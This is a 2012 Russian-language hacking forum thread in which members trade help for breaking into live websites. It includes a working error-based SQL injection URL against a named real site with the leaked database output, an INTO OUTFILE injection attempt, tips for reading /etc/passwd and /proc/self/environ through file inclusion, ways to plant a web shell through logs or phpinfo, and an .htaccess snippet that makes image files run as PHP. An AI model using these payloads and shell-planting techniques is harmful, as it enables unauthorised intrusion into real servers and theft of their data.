Ваши вопросы по уязвимостям.

Discussion in 'Уязвимости' started by darky, 4 Aug 2007.

Thread Status:
Not open for further replies.
  1. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    Как узнать путь на хостинге, имея sql-inj?
    Вот таблицы с данными админки нет, делаю
    http://xxx/news.php?id=-1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '1.txt' --

    пишет
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1.txt --' at line 1
     
  2. Facecontrol

    Facecontrol New Member

    Joined:
    12 Mar 2012
    Messages:
    40
    Likes Received:
    0
    Reputations:
    0
    Одинаковый.Что значит мудаки?
     
  3. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    короче просто некоторым пользователям выставили ограничение на заливку файло,там обновление.
    теперь надеюсь понятно?!?!
    МУДАКИ-->значит мудаки:)
     
  4. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Мудаки, потому, что базу засирают.
    foma9999, мм, похоже на error based, но очень странная. Я не смог раскрутить. Софт тоже не взял. Спроси у Ereee.
     
  5. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    http://i.imgur.com/y2VVs.png
    http://i.imgur.com/ULCKV.png

    Как сливать базу в таком виде?
     
    #19865 foma9999, 20 Mar 2012
    Last edited: 20 Mar 2012
  6. KolosJey

    KolosJey Member

    Joined:
    21 Dec 2009
    Messages:
    45
    Likes Received:
    42
    Reputations:
    48
    так не бывает
     
  7. foma9999

    foma9999 New Member

    Joined:
    5 Jan 2010
    Messages:
    83
    Likes Received:
    2
    Reputations:
    -5
    http://www.globalomsk.ru/directory/user.php

    Есть sql?
     
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    если есть права на чтение запись то прочитай файл etc/passwd

    да, там в форме входа
     
    #19868 qaz, 20 Mar 2012
    Last edited: 20 Mar 2012
  9. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    да вы уже со всем обленились((((
    берите toolza,sqlmap и вперёд
    я думаю такие посты либо сразу delete либо выговор какой нить,модеры позаботьтесь об этом
     
    #19869 Faaax, 21 Mar 2012
    Last edited: 21 Mar 2012
  10. Fooog

    Fooog Elder - Старейшина

    Joined:
    19 Sep 2008
    Messages:
    307
    Likes Received:
    170
    Reputations:
    12
    Ребят, что делать если proc/self/environ пуст?
    Хотя тут всё ок
    proc/self/status
    proc/self/cmdline (/usr/sbin/apache2-kstart)
    etc/passwd
     
    #19870 Fooog, 21 Mar 2012
    Last edited: 27 Mar 2012
  11. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Fooog
    Во-первых, к переменным окружения не всегда есть доступ.
    Во-вторых, там не всегда есть данные, которыми можно манипулировать.
    В -третьих, твои слова:
    Звучат весьма, мммммм, эпично =\
     
  12. Fooog

    Fooog Elder - Старейшина

    Joined:
    19 Sep 2008
    Messages:
    307
    Likes Received:
    170
    Reputations:
    12
    ну так а что в таком случае делать?
     
    #19872 Fooog, 21 Mar 2012
    Last edited: 27 Mar 2012
  13. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    искать логи и заливать шел через них
     
  14. Pirotexnik

    Pirotexnik Member

    Joined:
    13 Oct 2010
    Messages:
    376
    Likes Received:
    73
    Reputations:
    38
    Если на сервере (именно на всем сервере на любом сайте) есть phpinfo - можно спокойно залить шелл через LFI.
     
  15. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    как раскрутить через error based?
    http://www.sirirajmedj.com/content.php?content_id=2554
     
  16. Ereee

    Ereee Elder - Старейшина

    Joined:
    1 Dec 2011
    Messages:
    560
    Likes Received:
    370
    Reputations:
    267
    Например так:
    http://www.sirirajmedj.com/content.php?content_id=2554+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--
    Смотри исходник(внизу):
    Code:
    <!--SQL: SELECT c.journal_id, c.section_id, c.subject, c.address, c.abstract, c.keyword, c.keyword, c.pdf_file, c.start_page, c.end_page FROM medj_content as c WHERE c.status = 1 AND c.content_id = 2554 and(select 1 from(select count(*),concat((select table_name from information_schema.tables limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--
    MySQL: Duplicate entry '[COLOR=Red]COLLATIONS[/COLOR]1' for key 1-->
     
  17. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    а вот такой вопрос, залил шелл на сайт через админку, открываю его а мне пишет
    500 Внутренняя ошибка сервера, я тут гдето видел что нужно залить файл htaccess а что в нём должно быть написано чтобы всё работало?
     
  18. Faaax

    Faaax Banned

    Joined:
    30 Aug 2010
    Messages:
    329
    Likes Received:
    46
    Reputations:
    11
    Code:
    AddType application/x-httpd-php .jpg 
    AddHandler application/x-httpd-php .jpg
    
     
  19. smirk

    smirk Elder - Старейшина

    Joined:
    8 Sep 2011
    Messages:
    137
    Likes Received:
    43
    Reputations:
    26
    спасибо большое, ток я не могу тебе + поставить :)
     
  20. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    не, я та и php могу залить, мне не нужна картинка, тросто при открытии шелла пишет 500 Внутренняя ошибка сервера, может файл htaccess както помочь ето исправить?
     
Thread Status:
Not open for further replies.